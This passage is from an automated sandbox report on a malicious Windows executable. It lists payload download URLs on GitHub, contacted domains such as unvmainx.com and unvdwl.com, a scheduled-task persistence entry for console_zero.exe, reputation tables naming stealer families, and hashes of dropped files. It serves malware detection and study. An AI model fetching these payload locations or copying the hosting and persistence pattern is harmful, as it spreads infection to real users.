https://curl.se/docs/alt-svc.html	58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, svchost.exe, 0000001A.00000002.2848750352.00007FFBBAFBB000.00000002.00000001.01000000.0000000A.sdmp, console_zero.exe, console_zero.exe, 00000020.00000002.1808383974.00007FFBBAFBB000.00000002.00000001.01000000.0000000A.sdmp, console_zero.exe, 0000002A.00000002.1826773265.00007FFBBAFBB000.00000002.00000001.01000000.0000000A.sdmp	false	high
https://github.com/runvd01/dwl/raw/refs/heads/main/cmn/unv.dat	svchost.exe, 0000001A.00000002.2847004878.0000013B8442B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.2847222227.0000013B8448C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.2211131614.0000013B844EB000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.openssl.org/	svchost.exe	false	high
https://curl.se/docs/hsts.html	58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, svchost.exe, 0000001A.00000002.2848750352.00007FFBBAFBB000.00000002.00000001.01000000.0000000A.sdmp, console_zero.exe, console_zero.exe, 00000020.00000002.1808383974.00007FFBBAFBB000.00000002.00000001.01000000.0000000A.sdmp, console_zero.exe, 0000002A.00000002.1826773265.00007FFBBAFBB000.00000002.00000001.01000000.0000000A.sdmp	false	high
https://curl.se/docs/alt-svc.html#	console_zero.exe	false	high
https://curl.se/docs/copyright.htmlD	58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2848835181.00007FFBBAFDB000.00000002.00000001.01000000.0000000A.sdmp, console_zero.exe, 00000020.00000002.1808475835.00007FFBBAFDB000.00000002.00000001.01000000.0000000A.sdmp, console_zero.exe, 0000002A.00000002.1826970264.00007FFBBAFDB000.00000002.00000001.01000000.0000000A.sdmp	false	high
https://github.com/runvd01/dwl/raw/refs/heads/main/cmn/ucpusys.dat	svchost.exe, 0000001A.00000003.2211131614.0000013B844E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.2847004878.0000013B8442B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://curl.se/	svchost.exe, console_zero.exe	false	high
http://www.zlib.net/	svchost.exe	false	high
http://mingw-w64.sourceforge.net/X	58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmp	false	high
https://curl.se/docs/copyright.html	svchost.exe, console_zero.exe	false	high
http://www.zlib.net/D	58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2848995492.00007FFBBBDA7000.00000002.00000001.01000000.00000010.sdmp, console_zero.exe, 00000020.00000002.1808573202.00007FFBBBDA7000.00000002.00000001.01000000.00000010.sdmp, console_zero.exe, 0000002A.00000002.1827153646.00007FFBBBDA7000.00000002.00000001.01000000.00000010.sdmp	false	high
https://curl.se/docs/hsts.html#	console_zero.exe	false	high
https://www.openssl.org/H	58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2847985695.00007FFBAA11E000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmp	false	high
https://github.com/runvd01/dwl/raw/refs/heads/main/cmn/ucpu.dat	svchost.exe, 0000001A.00000002.2847004878.0000013B8442B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://raw.githubusercontent.com/runvd01/dwl/refs/heads/main/u	svchost.exe, 0000001A.00000002.2847427687.0000013B84902000.00000004.00000020.00020000.00000000.sdmp	false	high
https://curl.se/docs/http-cookies.html#	console_zero.exe	false	high
https://raw.githubusercontent.com/rootunvbot/mydata/refs/heads/main/unvumainrestorehardx.dat	svchost.exe, 0000001A.00000002.2847310661.0000013B844F0000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/runvd01/dwl/raw/refs/heads/main/cmn/uamd.dat	svchost.exe, 0000001A.00000002.2847028150.0000013B84463000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.gnu.org/licenses/	58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2846258321.00000000682A4000.00000008.00000001.01000000.0000000D.sdmp	false	high
https://curl.se/V	58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2848835181.00007FFBBAFDB000.00000002.00000001.01000000.0000000A.sdmp, console_zero.exe, 00000020.00000002.1808475835.00007FFBBAFDB000.00000002.00000001.01000000.0000000A.sdmp, console_zero.exe, 0000002A.00000002.1826970264.00007FFBBAFDB000.00000002.00000001.01000000.0000000A.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
194.26.192.189	unvmainx.com	Netherlands	1213	HEANETIE	false
45.94.31.128	unvdwl.com	Netherlands	395800	GBTCLOUDUS	false
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
8.8.4.4	dns.google	United States	15169	GOOGLEUS	false
185.199.108.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
20.233.83.145	github.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578892
Start date and time:	2024-12-20 16:18:35 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	58
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	58VSNPxrI4.exe renamed because original name is a hash value
Original Sample Name:	228c09c31156d45dfe94195bb34d1399.exe
Detection:	MAL
Classification:	mal100.evad.winEXE@86/46@9/7
EGA Information:	Successful, ratio: 75%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 20.12.23.50, 13.107.246.43
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 58VSNPxrI4.exe, PID 3576 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:19:51	API Interceptor	94x Sleep call for process: powershell.exe modified
10:20:04	API Interceptor	1x Sleep call for process: svchost.exe modified
10:20:04	API Interceptor	2x Sleep call for process: console_zero.exe modified
16:20:06	Task Scheduler	Run new task: console_zero path: C:\Windows\System32\console_zero.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.117.59.81	file.exe	Get hash	malicious	Invicta Stealer, XWorm	Browse	ipinfo.io/json
	Code%20Send%20meta%20Discord%20EXE.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	idl57nk7gk.exe	Get hash	malicious	Neshta	Browse	ipinfo.io/json
	idl57nk7gk.exe	Get hash	malicious	Neshta	Browse	ipinfo.io/json
	FormulariomillasbonusLATAM_GsqrekXCVBmUf.cmd	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	172.104.150.66.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	VertusinstruccionesFedEX_66521.zip	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	UjbjOP.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	I9xuKI2p2B.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	licarisan_api.exe	Get hash	malicious	Icarus	Browse	ipinfo.io/ip
185.199.108.133	cr_asm.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	vF20HtY4a4.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	VvPrGsGGWH.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	gaber.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	cr_asm.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ipinfo.io	main1.bat	Get hash	malicious	Abobus Obfuscator	Browse	34.117.59.81
	pyld611114.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	YF3YnL4ksc.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	YF3YnL4ksc.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	https://bu.marcel-andree.de/	Get hash	malicious	Unknown	Browse	34.117.59.81
	1734347766284d20dc9a2ac535c59f41881efe888891552ad79abf01710e07a6dadfae2b13366.dat-decoded.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	1734347766284d20dc9a2ac535c59f41881efe888891552ad79abf01710e07a6dadfae2b13366.dat-decoded.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	file.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse	34.117.59.81
	file.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
github.com	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	20.233.83.145
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	20.233.83.145
	ep_setup.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	ep_setup.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	https://pdf.ac/3eQ2md	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	140.82.112.3
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	140.82.121.4
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	20.233.83.145
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	20.233.83.145
	https://github.com/starise/win11-virtual-desktop-extension/releases/download/1.1.0/VirtualDesktopExtension-1.1.0.msi	Get hash	malicious	Unknown	Browse	20.233.83.145
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	20.233.83.145
raw.githubusercontent.com	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.199.110.133
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	185.199.109.133
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.199.108.133
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	185.199.109.133
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	185.199.111.133
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.199.110.133
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.199.111.133
	pyld611114.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	Lu4421.exe	Get hash	malicious	Stealerium	Browse	185.199.111.133
	Lu4421.exe	Get hash	malicious	AsyncRAT, DcRat, Stealerium	Browse	185.199.108.133

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HEANETIE	la.bot.sh4.elf	Get hash	malicious	Mirai	Browse	87.39.143.62
	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse	87.41.150.19
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	149.153.196.98
	3.elf	Get hash	malicious	Unknown	Browse	157.191.210.99
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	87.38.224.2
	1.elf	Get hash	malicious	Unknown	Browse	157.190.28.141
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	87.38.250.49
	2.elf	Get hash	malicious	Unknown	Browse	157.190.146.192
	3.elf	Get hash	malicious	Unknown	Browse	87.47.197.151
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	134.226.72.65
GBTCLOUDUS	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	5.183.206.192
	akcqrfutuo.elf	Get hash	malicious	Unknown	Browse	154.37.70.165
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	45.11.15.123
	botx.x86.elf	Get hash	malicious	Mirai	Browse	154.37.105.101
	loligang.arm7.elf	Get hash	malicious	Mirai	Browse	2.58.149.182
	sparc.elf	Get hash	malicious	Okiru	Browse	154.37.39.10
	VzhY4BcvBH.exe	Get hash	malicious	AsyncRAT, RedLine, StormKitty, VenomRAT	Browse	212.87.215.19
	AD6dpKQm7n.exe	Get hash	malicious	Unknown	Browse	45.94.31.26
	ickTGSF56D.exe	Get hash	malicious	Unknown	Browse	185.241.208.183
	EXQuAzl4Xn.exe	Get hash	malicious	RedLine	Browse	185.241.208.193
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	34.117.188.166
	ghostspider.7z	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	34.117.188.166
	https://pdf.ac/3eQ2md	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	34.117.39.58
	http://112.31.189.32:40158	Get hash	malicious	Mirai	Browse	34.117.121.53
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	34.117.188.166
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	34.67.216.185
	main1.bat	Get hash	malicious	Abobus Obfuscator	Browse	34.117.59.81
	https://pdf.ac/4lLzbt	Get hash	malicious	Unknown	Browse	34.117.39.58
FASTLYUS	https://postoffice.adobe.com/po-server/link/redirect?target=eyJhbGciOiJIUzUxMiJ9.eyJ0ZW1wbGF0ZSI6ImNjX2NvbGxhYl9kY3NoYXJpbmdfdmlld19lbWFpbCIsImVtYWlsQWRkcmVzcyI6ImJyaWFuLmh1dGNoaW5zQHJpdmVycm9jay5jb20iLCJyZXF1ZXN0SWQiOiJhYzIxMDNjZS03NDZkLTRmMTctNjBkYi00MzM5OWU3NzU5NGEiLCJsaW5rIjoiaHR0cHM6Ly9hY3JvYmF0LmFkb2JlLmNvbS9pZC91cm46YWFpZDpzYzpWQTZDMjplOTgwMjRmZi03NGRmLTRlNjctYjJkZi0wNWY0NTk4MTc4OWUiLCJsYWJlbCI6IjExIiwibG9jYWxlIjoicHRfQlIifQ.GzFDC4sqpVLEAHwIPLSleF4_d0iUGb4--dg-spPTHWsUGjt086-aN6bs1cEm-BfvTqQu97RqT5NU-RFwvTkvTA	Get hash	malicious	Unknown	Browse	151.101.1.138
	Invoice for 04-09-24 fede39.admr.org.html	Get hash	malicious	Unknown	Browse	151.101.1.229
	https://alphaarchitect.com/2024/12/long-term-expected-returns/	Get hash	malicious	Unknown	Browse	199.232.168.157
	Ocean-T2I4I8O9.exe	Get hash	malicious	Unknown	Browse	185.199.108.153
	https://click.pstmrk.it/3s/veed.io%2Fshare-video-link%3Ftoken%3DeyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzQ2MzE2NDgsImlhdCI6MTczNDYzMDc0OCwic3ViIjoiZmY0NTdiM2MtYjI3MC00YzA0LWEwOTEtYjY3ZDJkOGQ3ZTU1Iiwicm9sZXMiOltdLCJraWQiOiJwcm9qZWN0cy92ZWVkLXByb2Qtc2VydmVyL2xvY2F0aW9ucy9ldXJvcGUtd2VzdDEva2V5UmluZ3MvdmVlZC1wcm9kLWtleXJpbmcvY3J5cHRvS2V5cy92ZWVkLXByb2QtandrLWtleS9jcnlwdG9LZXlWZXJzaW9ucy8xIiwiZmVhdHVyZXMiOnt9LCJzY29wZXMiOltdfQ.f-EtSCYYeQiR4cEb8w5ABF3koXpbxl8QeFIarADkLP6q32DzsnFZl76Y98Uad7M8RBPPuOQOV9SUbCY1hRa4IbqV9_4cTm0v7DuBTCKOZbHN1NiATZOGw2BzdEMqIEfnNo5A_H2_DLVQZLtd6sZzcRoNBzbmcq2_xlzWgmqIErGV0VYXIb-Vac1b-3wmAgIyE-VS7Cd5aHYtVyiV9T5HfrpjPl7-M6dLIaQqm6103z7gO_qoKow1qbFmNgGaUsQED1CHbqo-hCgXzib7NToyu0Qq4kSl-2NEzgLMKy1zFR2J0E0vr9FHirjR9fmmDF2nk76Ht8L2WbV-dRyXZBZaUikfojo56vYWI9cfSQrG_awuFNR0M1s6dpPwumDM8sXlMZYt4u5WZaNcRZynPHXeqNZcdwKhlZrFN0U3B3U7B69avz_FlMxw6Or_0aeJkUP5YZP3wH-IIbwwa6es37u8G7gWYINEfp-pJlKV7klV1CcskLf_53iNx7MtxgvAXLMNZJ2tnuxY8W6w_E-pchjpNP2I5NV2Ui2_bNSgl3kBuX3oWsX0m_wL3MZ39pE3paPp2FAIgQPpZ5a0BhmPYsMk2IPPel2dll8j1IYBwHsZ5a1IHsHA6gTMWkJl-uhAjN4mnXo7Om0NWRZvfFvatgA4YCoTXdntM31GIZxAyWF9a14%26postLoginUrl%3D%252Fview%252F3ab9b7be-178c-4289-b29e-75921856f7f5%252F/oMlP/0SC6AQ/AQ/15f5e010-d260-490a-9e5d-79f5643b5481/1/HSOO9aL291	Get hash	malicious	Unknown	Browse	199.232.168.157
	https://p.placed.com/api/v2/sync/impression?partner=barkley&plaid=0063o000014sWgoAAE&version=1.0&payload_campaign_identifier=71700000100870630&payload_timestamp=5943094174221506287&payload_type=impression&redirect=http%3A%2F%2Fgoogle.com%2Famp%2Fs%2Fgoal.com.co%2Fwp%2Fpayment	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.199.110.133
	https://us-east-2.protection.sophos.com/?d=purogosouls.github.io&u=aHR0cHM6Ly9wdXJvZ29zb3Vscy5naXRodWIuaW8vNjRkczZmNHM5ZDRmODlzZDRzZjQ2c2Q0ZjYv&i=NWQ0M2E1N2M3M2U5MzQxMGM1NjBhNmQ1&t=dEtlN04wQWZmZ0hqZlpiZEYwVXZ4NHFvc2NQNGtsUWl4Unlndk5helZOaz0=&h=356f16f6a39049efa5b305c7477e094a&s=AVNPUEhUT0NFTkNSWVBUSVZaHP6eDnex344kFPbGkNGwPXEfGJHtcvdIV0gRc1_JzA%20us-east-2.protection.sophos.com	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	Dec 2024_12192924_Image.pdf	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	http://supplytic.ca/chuu/wpia/posha/sf_rand_string_mixed(24)/terence.tinnelly@innocapglobal.com	Get hash	malicious	Unknown	Browse	151.101.130.137

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bd0bf25947d4a37404f0424edf4db9ad	pyld611114.exe	Get hash	malicious	Unknown	Browse	8.8.4.4 185.199.108.133 20.233.83.145 34.117.59.81
	dYUteuvmHn.exe	Get hash	malicious	Unknown	Browse	8.8.4.4 185.199.108.133 20.233.83.145 34.117.59.81
	SecuriteInfo.com.Win64.Evo-gen.6610.27408.exe	Get hash	malicious	Unknown	Browse	8.8.4.4 185.199.108.133 20.233.83.145 34.117.59.81
	SecuriteInfo.com.Win64.Evo-gen.9614.31304.exe	Get hash	malicious	Unknown	Browse	8.8.4.4 185.199.108.133 20.233.83.145 34.117.59.81
	SecuriteInfo.com.Trojan.Siggen29.64132.8972.20040.exe	Get hash	malicious	Unknown	Browse	8.8.4.4 185.199.108.133 20.233.83.145 34.117.59.81
	app64.exe	Get hash	malicious	Unknown	Browse	8.8.4.4 185.199.108.133 20.233.83.145 34.117.59.81
	SecuriteInfo.com.FileRepMalware.12585.5759.exe	Get hash	malicious	Unknown	Browse	8.8.4.4 185.199.108.133 20.233.83.145 34.117.59.81
	SecuriteInfo.com.Trojan.GenericKD.74444428.17336.1019.exe	Get hash	malicious	Unknown	Browse	8.8.4.4 185.199.108.133 20.233.83.145 34.117.59.81
	SecuriteInfo.com.Trojan.GenericKD.74444428.17336.1019.exe	Get hash	malicious	Unknown	Browse	8.8.4.4 185.199.108.133 20.233.83.145 34.117.59.81
	sadfwqefrqw3f.exe	Get hash	malicious	Unknown	Browse	8.8.4.4 185.199.108.133 20.233.83.145 34.117.59.81
74954a0c86284d0d6e1c4efefe92b521	676556be12ac3.vbs	Get hash	malicious	Mint Stealer	Browse	8.8.4.4 185.199.108.133 20.233.83.145 34.117.59.81
	PKO_0019289289544_PDF_#U2463#U2466#U2465#U2462#U2461#U2466#U2464#U2462.hta	Get hash	malicious	Mint Stealer	Browse	8.8.4.4 185.199.108.133 20.233.83.145 34.117.59.81
	9KEZfGRjyK.exe	Get hash	malicious	Unknown	Browse	8.8.4.4 185.199.108.133 20.233.83.145 34.117.59.81
	9KEZfGRjyK.exe	Get hash	malicious	Unknown	Browse	8.8.4.4 185.199.108.133 20.233.83.145 34.117.59.81
	Hkeyboard.dll	Get hash	malicious	Unknown	Browse	8.8.4.4 185.199.108.133 20.233.83.145 34.117.59.81
	67618a47ee8c5.vbs	Get hash	malicious	Mint Stealer	Browse	8.8.4.4 185.199.108.133 20.233.83.145 34.117.59.81
	PKO_0019868519477_PDF_#U2462#U2465#U2461#U2465#U2467#U2464#U2464#U2466.hta	Get hash	malicious	Mint Stealer	Browse	8.8.4.4 185.199.108.133 20.233.83.145 34.117.59.81
	webhook.exe	Get hash	malicious	Unknown	Browse	8.8.4.4 185.199.108.133 20.233.83.145 34.117.59.81
	loader.exe	Get hash	malicious	Unknown	Browse	8.8.4.4 185.199.108.133 20.233.83.145 34.117.59.81
	loader.exe	Get hash	malicious	Unknown	Browse	8.8.4.4 185.199.108.133 20.233.83.145 34.117.59.81

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows \System32\printui.exe	pyld611114.exe	Get hash	malicious	Unknown	Browse
	dYUteuvmHn.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Trojan.Siggen29.64132.8972.20040.exe	Get hash	malicious	Unknown	Browse
	app64.exe	Get hash	malicious	Unknown	Browse
	printui.dll	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Trojan.Inject5.8130.1270.16417.exe	Get hash	malicious	Unknown	Browse
	F.7z	Get hash	malicious	Unknown	Browse
	Ld0f3NDosJ.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0xodcmcc.wv1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2cp1y2yw.c3d.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4usgmjep.cbr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fiiml03m.cmu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
